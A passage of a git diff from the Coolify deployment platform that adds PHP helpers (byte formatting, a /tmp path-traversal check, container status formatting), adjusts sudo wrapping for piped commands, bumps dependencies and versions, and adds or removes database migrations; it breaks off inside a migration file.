@@ -3123,3 +3153,158 @@ function generateDockerComposeServiceName(mixed $services, int $pullRequestId =
 
     return $collection;
 }
+
+function formatBytes(?int $bytes, int $precision = 2): string
+{
+    if ($bytes === null || $bytes === 0) {
+        return '0 B';
+    }
+
+    // Handle negative numbers
+    if ($bytes < 0) {
+        return '0 B';
+    }
+
+    $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
+    $base = 1024;
+    $exponent = floor(log($bytes) / log($base));
+    $exponent = min($exponent, count($units) - 1);
+
+    $value = $bytes / pow($base, $exponent);
+
+    return round($value, $precision).' '.$units[$exponent];
+}
+
+/**
+ * Validates that a file path is safely within the /tmp/ directory.
+ * Protects against path traversal attacks by resolving the real path
+ * and verifying it stays within /tmp/.
+ *
+ * Note: On macOS, /tmp is often a symlink to /private/tmp, which is handled.
+ */
+function isSafeTmpPath(?string $path): bool
+{
+    if (blank($path)) {
+        return false;
+    }
+
+    // URL decode to catch encoded traversal attempts
+    $decodedPath = urldecode($path);
+
+    // Minimum length check - /tmp/x is 6 chars
+    if (strlen($decodedPath) < 6) {
+        return false;
+    }
+
+    // Must start with /tmp/
+    if (! str($decodedPath)->startsWith('/tmp/')) {
+        return false;
+    }
+
+    // Quick check for obvious traversal attempts
+    if (str($decodedPath)->contains('..')) {
+        return false;
+    }
+
+    // Check for null bytes (directory traversal technique)
+    if (str($decodedPath)->contains("\0")) {
+        return false;
+    }
+
+    // Remove any trailing slashes for consistent validation
+    $normalizedPath = rtrim($decodedPath, '/');
+
+    // Normalize the path by removing redundant separators and resolving . and ..
+    // We'll do this manually since realpath() requires the path to exist
+    $parts = explode('/', $normalizedPath);
+    $resolvedParts = [];
+
+    foreach ($parts as $part) {
+        if ($part === '' || $part === '.') {
+            // Skip empty parts (from //) and current directory references
+            continue;
+        } elseif ($part === '..') {
+            // Parent directory - this should have been caught earlier but double-check
+            return false;
+        } else {
+            $resolvedParts[] = $part;
+        }
+    }
+
+    $resolvedPath = '/'.implode('/', $resolvedParts);
+
+    // Final check: resolved path must start with /tmp/
+    // And must have at least one component after /tmp/
+    if (! str($resolvedPath)->startsWith('/tmp/') || $resolvedPath === '/tmp') {
+        return false;
+    }
+
+    // Resolve the canonical /tmp path (handles symlinks like /tmp -> /private/tmp on macOS)
+    $canonicalTmpPath = realpath('/tmp');
+    if ($canonicalTmpPath === false) {
+        // If /tmp doesn't exist, something is very wrong, but allow non-existing paths
+        $canonicalTmpPath = '/tmp';
+    }
+
+    // Calculate dirname once to avoid redundant calls
+    $dirPath = dirname($resolvedPath);
+
+    // If the directory exists, resolve it via realpath to catch symlink attacks
+    if (is_dir($dirPath)) {
+        // For existing paths, resolve to absolute path to catch symlinks
+        $realDir = realpath($dirPath);
+        if ($realDir === false) {
+            return false;
+        }
+
+        // Check if the real directory is within /tmp (or its canonical path)
+        if (! str($realDir)->startsWith('/tmp') && ! str($realDir)->startsWith($canonicalTmpPath)) {
+            return false;
+        }
+    }
+
+    return true;
+}
+
+/**
+ * Transform colon-delimited status format to human-readable parentheses format.
+ *
+ * Handles Docker container status formats with optional health check status and exclusion modifiers.
+ *
+ * Examples:
+ * - running:healthy → Running (healthy)
+ * - running:unhealthy:excluded → Running (unhealthy, excluded)
+ * - exited:excluded → Exited (excluded)
+ * - Proxy:running → Proxy:running (preserved as-is for headline formatting)
+ * - running → Running
+ *
+ * @param  string  $status  The status string to format
+ * @return string The formatted status string
+ */
+function formatContainerStatus(string $status): string
+{
+    // Preserve Proxy statuses as-is (they follow different format)
+    if (str($status)->startsWith('Proxy')) {
+        return str($status)->headline()->value();
+    }
+
+    // Check for :excluded suffix
+    $isExcluded = str($status)->endsWith(':excluded');
+    $parts = explode(':', $status);
+
+    if ($isExcluded) {
+        if (count($parts) === 3) {
+            // Has health status: running:unhealthy:excluded → Running (unhealthy, excluded)
+            return str($parts[0])->headline().' ('.$parts[1].', excluded)';
+        } else {
+            // No health status: exited:excluded → Exited (excluded)
+            return str($parts[0])->headline().' (excluded)';
+        }
+    } elseif (count($parts) >= 2) {
+        // Regular colon format: running:healthy → Running (healthy)
+        return str($parts[0])->headline().' ('.$parts[1].')';
+    } else {
+        // Simple status: running → Running
+        return str($status)->headline()->value();
+    }
+}
diff --git a/bootstrap/helpers/sudo.php b/bootstrap/helpers/sudo.php
index ba252c64f..f7336beeb 100644
--- a/bootstrap/helpers/sudo.php
+++ b/bootstrap/helpers/sudo.php
@@ -58,16 +58,35 @@ function parseCommandsByLineForSudo(Collection $commands, Server $server): array
 
     $commands = $commands->map(function ($line) {
         $line = str($line);
+
+        // Detect complex piped commands that should be wrapped in bash -c
+        $isComplexPipeCommand = (
+            $line->contains(' | sh') ||
+            $line->contains(' | bash') ||
+            ($line->contains(' | ') && ($line->contains('||') || $line->contains('&&')))
+        );
+
+        // If it's a complex pipe command and starts with sudo, wrap it in bash -c
+        if ($isComplexPipeCommand && $line->startsWith('sudo ')) {
+            $commandWithoutSudo = $line->after('sudo ')->value();
+            // Escape single quotes for bash -c by replacing ' with '\''
+            $escapedCommand = str_replace("'", "'\\''", $commandWithoutSudo);
+
+            return "sudo bash -c '$escapedCommand'";
+        }
+
+        // For non-complex commands, apply the original logic
         if (str($line)->contains('$(')) {
             $line = $line->replace('$(', '$(sudo ');
         }
-        if (str($line)->contains('||')) {
+        if (! $isComplexPipeCommand && str($line)->contains('||')) {
             $line = $line->replace('||', '|| sudo');
         }
-        if (str($line)->contains('&&')) {
+        if (! $isComplexPipeCommand && str($line)->contains('&&')) {
             $line = $line->replace('&&', '&& sudo');
         }
-        if (str($line)->contains(' | ')) {
+        // Don't insert sudo into pipes for complex commands
+        if (! $isComplexPipeCommand && str($line)->contains(' | ')) {
             $line = $line->replace(' | ', ' | sudo ');
         }
 
diff --git a/bootstrap/helpers/versions.php b/bootstrap/helpers/versions.php
new file mode 100644
index 000000000..bb4694de5
--- /dev/null
+++ b/bootstrap/helpers/versions.php
@@ -0,0 +1,53 @@
+<?php
+
+use Illuminate\Support\Facades\Cache;
+use Illuminate\Support\Facades\File;
+
+/**
+ * Get cached versions data from versions.json.
+ *
+ * This function provides a centralized, cached access point for all
+ * version data in the application. Data is cached in Redis for 1 hour
+ * and shared across all servers in the cluster.
+ *
+ * @return array|null The versions data array, or null if file doesn't exist
+ */
+function get_versions_data(): ?array
+{
+    return Cache::remember('coolify:versions:all', 3600, function () {
+        $versionsPath = base_path('versions.json');
+
+        if (! File::exists($versionsPath)) {
+            return null;
+        }
+
+        return json_decode(File::get($versionsPath), true);
+    });
+}
+
+/**
+ * Get Traefik versions from cached data.
+ *
+ * @return array|null Array of Traefik versions (e.g., ['v3.5' => '3.5.6'])
+ */
+function get_traefik_versions(): ?array
+{
+    $versions = get_versions_data();
+
+    if (! $versions) {
+        return null;
+    }
+
+    $traefikVersions = data_get($versions, 'traefik');
+
+    return is_array($traefikVersions) ? $traefikVersions : null;
+}
+
+/**
+ * Invalidate the versions cache.
+ * Call this after updating versions.json to ensure fresh data is loaded.
+ */
+function invalidate_versions_cache(): void
+{
+    Cache::forget('coolify:versions:all');
+}
diff --git a/composer.json b/composer.json
index ea466049d..1db389a57 100644
--- a/composer.json
+++ b/composer.json
@@ -36,7 +36,7 @@
         "poliander/cron": "^3.2.1",
         "purplepixie/phpdns": "^2.2",
         "pusher/pusher-php-server": "^7.2.7",
-        "resend/resend-laravel": "^0.19.0",
+        "resend/resend-laravel": "^0.20.0",
         "sentry/sentry-laravel": "^4.15.1",
         "socialiteproviders/authentik": "^5.2",
         "socialiteproviders/clerk": "^5.0",
diff --git a/composer.lock b/composer.lock
index 6320db071..b2923a240 100644
--- a/composer.lock
+++ b/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "a993799242581bd06b5939005ee458d9",
+    "content-hash": "423b7d10901b9f31c926d536ff163a22",
     "packages": [
         {
             "name": "amphp/amp",
@@ -7048,16 +7048,16 @@
         },
         {
             "name": "resend/resend-laravel",
-            "version": "v0.19.0",
+            "version": "v0.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/resend/resend-laravel.git",
-                "reference": "ce11e363c42c1d6b93983dfebbaba3f906863c3a"
+                "reference": "f32c2f484df2bc65fba8ea9ab9b210cd42d9f3ed"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/resend/resend-laravel/zipball/ce11e363c42c1d6b93983dfebbaba3f906863c3a",
-                "reference": "ce11e363c42c1d6b93983dfebbaba3f906863c3a",
+                "url": "https://api.github.com/repos/resend/resend-laravel/zipball/f32c2f484df2bc65fba8ea9ab9b210cd42d9f3ed",
+                "reference": "f32c2f484df2bc65fba8ea9ab9b210cd42d9f3ed",
                 "shasum": ""
             },
             "require": {
@@ -7111,9 +7111,9 @@
             ],
             "support": {
                 "issues": "https://github.com/resend/resend-laravel/issues",
-                "source": "https://github.com/resend/resend-laravel/tree/v0.19.0"
+                "source": "https://github.com/resend/resend-laravel/tree/v0.20.0"
             },
-            "time": "2025-05-06T21:36:51+00:00"
+            "time": "2025-08-04T19:26:47+00:00"
         },
         {
             "name": "resend/resend-php",
@@ -9514,16 +9514,16 @@
         },
         {
             "name": "symfony/http-foundation",
-            "version": "v7.3.2",
+            "version": "v7.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-foundation.git",
-                "reference": "6877c122b3a6cc3695849622720054f6e6fa5fa6"
+                "reference": "db488a62f98f7a81d5746f05eea63a74e55bb7c4"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-foundation/zipball/6877c122b3a6cc3695849622720054f6e6fa5fa6",
-                "reference": "6877c122b3a6cc3695849622720054f6e6fa5fa6",
+                "url": "https://api.github.com/repos/symfony/http-foundation/zipball/db488a62f98f7a81d5746f05eea63a74e55bb7c4",
+                "reference": "db488a62f98f7a81d5746f05eea63a74e55bb7c4",
                 "shasum": ""
             },
             "require": {
@@ -9573,7 +9573,7 @@
             "description": "Defines an object-oriented layer for the HTTP specification",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-foundation/tree/v7.3.2"
+                "source": "https://github.com/symfony/http-foundation/tree/v7.3.7"
             },
             "funding": [
                 {
@@ -9593,7 +9593,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2025-07-10T08:47:49+00:00"
+            "time": "2025-11-08T16:41:12+00:00"
         },
         {
             "name": "symfony/http-kernel",
@@ -9799,16 +9799,16 @@
         },
         {
             "name": "symfony/mime",
-            "version": "v7.3.2",
+            "version": "v7.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/mime.git",
-                "reference": "e0a0f859148daf1edf6c60b398eb40bfc96697d1"
+                "reference": "b1b828f69cbaf887fa835a091869e55df91d0e35"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/mime/zipball/e0a0f859148daf1edf6c60b398eb40bfc96697d1",
-                "reference": "e0a0f859148daf1edf6c60b398eb40bfc96697d1",
+                "url": "https://api.github.com/repos/symfony/mime/zipball/b1b828f69cbaf887fa835a091869e55df91d0e35",
+                "reference": "b1b828f69cbaf887fa835a091869e55df91d0e35",
                 "shasum": ""
             },
             "require": {
@@ -9863,7 +9863,7 @@
                 "mime-type"
             ],
             "support": {
-                "source": "https://github.com/symfony/mime/tree/v7.3.2"
+                "source": "https://github.com/symfony/mime/tree/v7.3.4"
             },
             "funding": [
                 {
@@ -9883,7 +9883,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2025-07-15T13:41:35+00:00"
+            "time": "2025-09-16T08:38:17+00:00"
         },
         {
             "name": "symfony/options-resolver",
@@ -10195,7 +10195,7 @@
         },
         {
             "name": "symfony/polyfill-intl-idn",
-            "version": "v1.32.0",
+            "version": "v1.33.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-idn.git",
@@ -10258,7 +10258,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.32.0"
+                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.33.0"
             },
             "funding": [
                 {
@@ -10269,6 +10269,10 @@
                     "url": "https://github.com/fabpot",
                     "type": "github"
                 },
+                {
+                    "url": "https://github.com/nicolas-grekas",
+                    "type": "github"
+                },
                 {
                     "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
                     "type": "tidelift"
@@ -10278,7 +10282,7 @@
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.32.0",
+            "version": "v1.33.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
@@ -10339,7 +10343,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.32.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.33.0"
             },
             "funding": [
                 {
@@ -10350,6 +10354,10 @@
                     "url": "https://github.com/fabpot",
                     "type": "github"
                 },
+                {
+                    "url": "https://github.com/nicolas-grekas",
+                    "type": "github"
+                },
                 {
                     "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
                     "type": "tidelift"
@@ -10359,7 +10367,7 @@
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.32.0",
+            "version": "v1.33.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
@@ -10420,7 +10428,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.32.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.33.0"
             },
             "funding": [
                 {
@@ -10431,6 +10439,10 @@
                     "url": "https://github.com/fabpot",
                     "type": "github"
                 },
+                {
+                    "url": "https://github.com/nicolas-grekas",
+                    "type": "github"
+                },
                 {
                     "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
                     "type": "tidelift"
@@ -10440,7 +10452,7 @@
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "v1.32.0",
+            "version": "v1.33.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
@@ -10500,7 +10512,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.32.0"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.33.0"
             },
             "funding": [
                 {
@@ -10511,6 +10523,10 @@
                     "url": "https://github.com/fabpot",
                     "type": "github"
                 },
+                {
+                    "url": "https://github.com/nicolas-grekas",
+                    "type": "github"
+                },
                 {
                     "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
                     "type": "tidelift"
@@ -10520,16 +10536,16 @@
         },
         {
             "name": "symfony/polyfill-php83",
-            "version": "v1.32.0",
+            "version": "v1.33.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php83.git",
-                "reference": "2fb86d65e2d424369ad2905e83b236a8805ba491"
+                "reference": "17f6f9a6b1735c0f163024d959f700cfbc5155e5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php83/zipball/2fb86d65e2d424369ad2905e83b236a8805ba491",
-                "reference": "2fb86d65e2d424369ad2905e83b236a8805ba491",
+                "url": "https://api.github.com/repos/symfony/polyfill-php83/zipball/17f6f9a6b1735c0f163024d959f700cfbc5155e5",
+                "reference": "17f6f9a6b1735c0f163024d959f700cfbc5155e5",
                 "shasum": ""
             },
             "require": {
@@ -10576,7 +10592,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php83/tree/v1.32.0"
+                "source": "https://github.com/symfony/polyfill-php83/tree/v1.33.0"
             },
             "funding": [
                 {
@@ -10587,12 +10603,16 @@
                     "url": "https://github.com/fabpot",
                     "type": "github"
                 },
+                {
+                    "url": "https://github.com/nicolas-grekas",
+                    "type": "github"
+                },
                 {
                     "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-09-09T11:45:10+00:00"
+            "time": "2025-07-08T02:45:35+00:00"
         },
         {
             "name": "symfony/polyfill-uuid",
diff --git a/conductor.json b/conductor.json
index 851d13ed0..688de3a90 100644
--- a/conductor.json
+++ b/conductor.json
@@ -1,7 +1,7 @@
 {
     "scripts": {
         "setup": "./scripts/conductor-setup.sh",
-        "run": "docker rm -f coolify coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down"
+        "run": "docker rm -f coolify coolify-minio-init coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down"
     },
     "runScriptMode": "nonconcurrent"
-}
+}
\ No newline at end of file
diff --git a/config/constants.php b/config/constants.php
index 503fe3808..24aae9c81 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,8 +2,8 @@
 
 return [
     'coolify' => [
-        'version' => '4.0.0-beta.439',
-        'helper_version' => '1.0.11',
+        'version' => '4.0.0-beta.448',
+        'helper_version' => '1.0.12',
         'realtime_version' => '1.0.10',
         'self_hosted' => env('SELF_HOSTED', true),
         'autoupdate' => env('AUTOUPDATE'),
@@ -12,7 +12,7 @@
         'helper_image' => env('HELPER_IMAGE', env('REGISTRY_URL', 'ghcr.io').'/coollabsio/coolify-helper'),
         'realtime_image' => env('REALTIME_IMAGE', env('REGISTRY_URL', 'ghcr.io').'/coollabsio/coolify-realtime'),
         'is_windows_docker_desktop' => env('IS_WINDOWS_DOCKER_DESKTOP', false),
-        'releases_url' => 'https://cdn.coollabs.io/coolify/releases.json',
+        'releases_url' => 'https://cdn.coolify.io/releases.json',
     ],
 
     'urls' => [
@@ -95,4 +95,27 @@
         'storage_api_key' => env('BUNNY_STORAGE_API_KEY'),
         'api_key' => env('BUNNY_API_KEY'),
     ],
+
+    'server_checks' => [
+        // Notification delay configuration for parallel server checks
+        // Used for Traefik version checks and other future server check jobs
+        // These settings control how long to wait before sending notifications
+        // after dispatching parallel check jobs for all servers
+
+        // Minimum delay in seconds (120s = 2 minutes)
+        // Accounts for job processing time, retries, and network latency
+        'notification_delay_min' => 120,
+
+        // Maximum delay in seconds (300s = 5 minutes)
+        // Prevents excessive waiting for very large server counts
+        'notification_delay_max' => 300,
+
+        // Scaling factor: seconds to add per server (0.2)
+        // Formula: delay = min(max, max(min, serverCount * scaling))
+        // Examples:
+        //   - 100 servers: 120s (uses minimum)
+        //   - 1000 servers: 200s
+        //   - 2000 servers: 300s (hits maximum)
+        'notification_delay_scaling' => 0.2,
+    ],
 ];
diff --git a/config/logging.php b/config/logging.php
index 488327414..1a75978f3 100644
--- a/config/logging.php
+++ b/config/logging.php
@@ -129,8 +129,8 @@
         'scheduled-errors' => [
             'driver' => 'daily',
             'path' => storage_path('logs/scheduled-errors.log'),
-            'level' => 'debug',
-            'days' => 7,
+            'level' => 'warning',
+            'days' => 14,
         ],
     ],
 
diff --git a/database/migrations/2025_10_10_120000_create_cloud_init_scripts_table.php b/database/migrations/2025_10_10_120000_create_cloud_init_scripts_table.php
deleted file mode 100644
index fe216a57d..000000000
--- a/database/migrations/2025_10_10_120000_create_cloud_init_scripts_table.php
+++ /dev/null
@@ -1,32 +0,0 @@
-<?php
-
-use Illuminate\Database\Migrations\Migration;
-use Illuminate\Database\Schema\Blueprint;
-use Illuminate\Support\Facades\Schema;
-
-return new class extends Migration
-{
-    /**
-     * Run the migrations.
-     */
-    public function up(): void
-    {
-        Schema::create('cloud_init_scripts', function (Blueprint $table) {
-            $table->id();
-            $table->foreignId('team_id')->constrained()->onDelete('cascade');
-            $table->string('name');
-            $table->text('script'); // Encrypted in the model
-            $table->timestamps();
-
-            $table->index('team_id');
-        });
-    }
-
-    /**
-     * Reverse the migrations.
-     */
-    public function down(): void
-    {
-        Schema::dropIfExists('cloud_init_scripts');
-    }
-};
diff --git a/database/migrations/2025_10_10_120000_create_webhook_notification_settings_table.php b/database/migrations/2025_10_10_120000_create_webhook_notification_settings_table.php
deleted file mode 100644
index a3edacbf9..000000000
--- a/database/migrations/2025_10_10_120000_create_webhook_notification_settings_table.php
+++ /dev/null
@@ -1,46 +0,0 @@
-<?php
-
-use Illuminate\Database\Migrations\Migration;
-use Illuminate\Database\Schema\Blueprint;
-use Illuminate\Support\Facades\Schema;
-
-return new class extends Migration
-{
-    /**
-     * Run the migrations.
-     */
-    public function up(): void
-    {
-        Schema::create('webhook_notification_settings', function (Blueprint $table) {
-            $table->id();
-            $table->foreignId('team_id')->constrained()->cascadeOnDelete();
-
-            $table->boolean('webhook_enabled')->default(false);
-            $table->text('webhook_url')->nullable();
-
-            $table->boolean('deployment_success_webhook_notifications')->default(false);
-            $table->boolean('deployment_failure_webhook_notifications')->default(true);
-            $table->boolean('status_change_webhook_notifications')->default(false);
-            $table->boolean('backup_success_webhook_notifications')->default(false);
-            $table->boolean('backup_failure_webhook_notifications')->default(true);
-            $table->boolean('scheduled_task_success_webhook_notifications')->default(false);
-            $table->boolean('scheduled_task_failure_webhook_notifications')->default(true);
-            $table->boolean('docker_cleanup_success_webhook_notifications')->default(false);
-            $table->boolean('docker_cleanup_failure_webhook_notifications')->default(true);
-            $table->boolean('server_disk_usage_webhook_notifications')->default(true);
-            $table->boolean('server_reachable_webhook_notifications')->default(false);
-            $table->boolean('server_unreachable_webhook_notifications')->default(true);
-            $table->boolean('server_patch_webhook_notifications')->default(false);
-
-            $table->unique(['team_id']);
-        });
-    }
-
-    /**
-     * Reverse the migrations.
-     */
-    public function down(): void
-    {
-        Schema::dropIfExists('webhook_notification_settings');
-    }
-};
diff --git a/database/migrations/2025_10_10_120001_populate_webhook_notification_settings_for_existing_teams.php b/database/migrations/2025_10_10_120001_populate_webhook_notification_settings_for_existing_teams.php
deleted file mode 100644
index de2707557..000000000
--- a/database/migrations/2025_10_10_120001_populate_webhook_notification_settings_for_existing_teams.php
+++ /dev/null
@@ -1,47 +0,0 @@
-<?php
-
-use Illuminate\Database\Migrations\Migration;
-use Illuminate\Support\Facades\DB;
-
-return new class extends Migration
-{
-    /**
-     * Run the migrations.
-     */
-    public function up(): void
-    {
-        $teams = DB::table('teams')->get();
-
-        foreach ($teams as $team) {
-            DB::table('webhook_notification_settings')->updateOrInsert(
-                ['team_id' => $team->id],
-                [
-                    'webhook_enabled' => false,
-                    'webhook_url' => null,
-                    'deployment_success_webhook_notifications' => false,
-                    'deployment_failure_webhook_notifications' => true,
-                    'status_change_webhook_notifications' => false,
-                    'backup_success_webhook_notifications' => false,
-                    'backup_failure_webhook_notifications' => true,
-                    'scheduled_task_success_webhook_notifications' => false,
-                    'scheduled_task_failure_webhook_notifications' => true,
-                    'docker_cleanup_success_webhook_notifications' => false,
-                    'docker_cleanup_failure_webhook_notifications' => true,
-                    'server_disk_usage_webhook_notifications' => true,
-                    'server_reachable_webhook_notifications' => false,
-                    'server_unreachable_webhook_notifications' => true,
-                    'server_patch_webhook_notifications' => false,
-                ]
-            );
-        }
-    }
-
-    /**
-     * Reverse the migrations.
-     */
-    public function down(): void
-    {
-        // We don't need to do anything in down() since the webhook_notification_settings
-        // table will be dropped by the create migration's down() method
-    }
-};
diff --git a/database/migrations/2025_11_02_161923_add_dev_helper_version_to_instance_settings.php b/database/migrations/2025_11_02_161923_add_dev_helper_version_to_instance_settings.php
new file mode 100644
index 000000000..56ed2239a
--- /dev/null
+++ b/database/migrations/2025_11_02_161923_add_dev_helper_version_to_instance_settings.php
@@ -0,0 +1,28 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('instance_settings', function (Blueprint $table) {
+            $table->string('dev_helper_version')->nullable();
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('instance_settings', function (Blueprint $table) {
+            $table->dropColumn('dev_helper_version');
+        });
+    }
+};
diff --git a/database/migrations/2025_11_09_000001_add_timeout_to_scheduled_tasks_table.php b/database/migrations/2025_11_09_000001_add_timeout_to_scheduled_tasks_table.php
new file mode 100644
index 000000000..067861e16
--- /dev/null
+++ b/database/migrations/2025_11_09_000001_add_timeout_to_scheduled_tasks_table.php
@@ -0,0 +1,28 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('scheduled_tasks', function (Blueprint $table) {
+            $table->integer('timeout')->default(300)->after('frequency');
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('scheduled_tasks', function (Blueprint $table) {
+            $table->dropColumn('timeout');
+        });
+    }
+};
diff --git a/database/migrations/2025_11_09_000002_improve_scheduled_task_executions_tracking.php b/database/migrations/2025_11_09_000002_improve_scheduled_task_executions_tracking.php
new file mode 100644
index 000000000..14fdd5998
--- /dev/null
+++ b/database/migrations/2025_11_09_000002_improve_scheduled_task_executions_tracking.php
@@ -0,0 +1,31 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('scheduled_task_executions', function (Blueprint $table) {
+            $table->timestamp('started_at')->nullable()->after('scheduled_task_id');
+            $table->integer('retry_count')->default(0)->after('status');
+            $table->decimal('duration', 10, 2)->nullable()->after('retry_count')->comment('Duration in seconds');
+            $table->text('error_details')->nullable()->after('message');
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('scheduled_task_executions', function (Blueprint $table) {
+            $table->dropColumn(['started_at', 'retry_count', 'duration', 'error_details']);
+        });
+    }
+};
diff --git a/database/migrations/2025_11_10_112500_add_restart_tracking_to_applications_table.php b/database/migrations/2025_11_10_112500_add_restart_tracking_to_applications_table.php
new file mode 100644
index 000000000..329ac7af9
--- /dev/null
+++ b/database/migrations/2025_11_10_112500_add_restart_tracking_to_applications_table.php
@@ -0,0 +1,30 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('applications', function (Blueprint $table) {
+            $table->integer('restart_count')->default(0)->after('status');
+            $table->timestamp('last_restart_at')->nullable()->after('restart_count');
+            $table->string('last_restart_type', 10)->nullable()->after('last_restart_at');
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('applications', function (Blueprint $table) {
+            $table->dropColumn(['restart_count', 'last_restart_at', 'last_restart_type']);
+        });
+    }
+};
diff --git a/database/migrations/2025_11_12_130931_add_traefik_version_tracking_to_servers_table.php b/database/migrations/2025_11_12_130931_add_traefik_version_tracking_to_servers_table.php
new file mode 100644
index 000000000..3bab33368
--- /dev/null
+++ b/database/migrations/2025_11_12_130931_add_traefik_version_tracking_to_servers_table.php
@@ -0,0 +1,28 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('servers', function (Blueprint $table) {
+            $table->string('detected_traefik_version')->nullable();
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('servers', function (Blueprint $table) {
+            $table->dropColumn('detected_traefik_version');
+        });
+    }
+};
diff --git a/database/migrations/2025_11_12_131252_add_traefik_outdated_to_email_notification_settings.php b/database/migrations/2025_11_12_131252_add_traefik_outdated_to_email_notification_settings.php
new file mode 100644
index 000000000..ac509dc71
--- /dev/null
+++ b/database/migrations/2025_11_12_131252_add_traefik_outdated_to_email_notification_settings.php
@@ -0,0 +1,28 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('email_notification_settings', function (Blueprint $table) {
+            $table->boolean('traefik_outdated_email_notifications')->default(true);
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('email_notification_settings', function (Blueprint $table) {
+            $table->dropColumn('traefik_outdated_email_notifications');
+        });
+    }
+};
diff --git a/database/migrations/2025_11_12_133400_add_traefik_outdated_thread_id_to_telegram_notification_settings.php b/database/migrations/2025_11_12_133400_add_traefik_outdated_thread_id_to_telegram_notification_settings.php
new file mode 100644
index 000000000..b7d69e634
--- /dev/null
+++ b/database/migrations/2025_11_12_133400_add_traefik_outdated_thread_id_to_telegram_notification_settings.php
@@ -0,0 +1,28 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('telegram_notification_settings', function (Blueprint $table) {
+            $table->text('telegram_notifications_traefik_outdated_thread_id')->nullable();
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('telegram_notification_settings', function (Blueprint $table) {
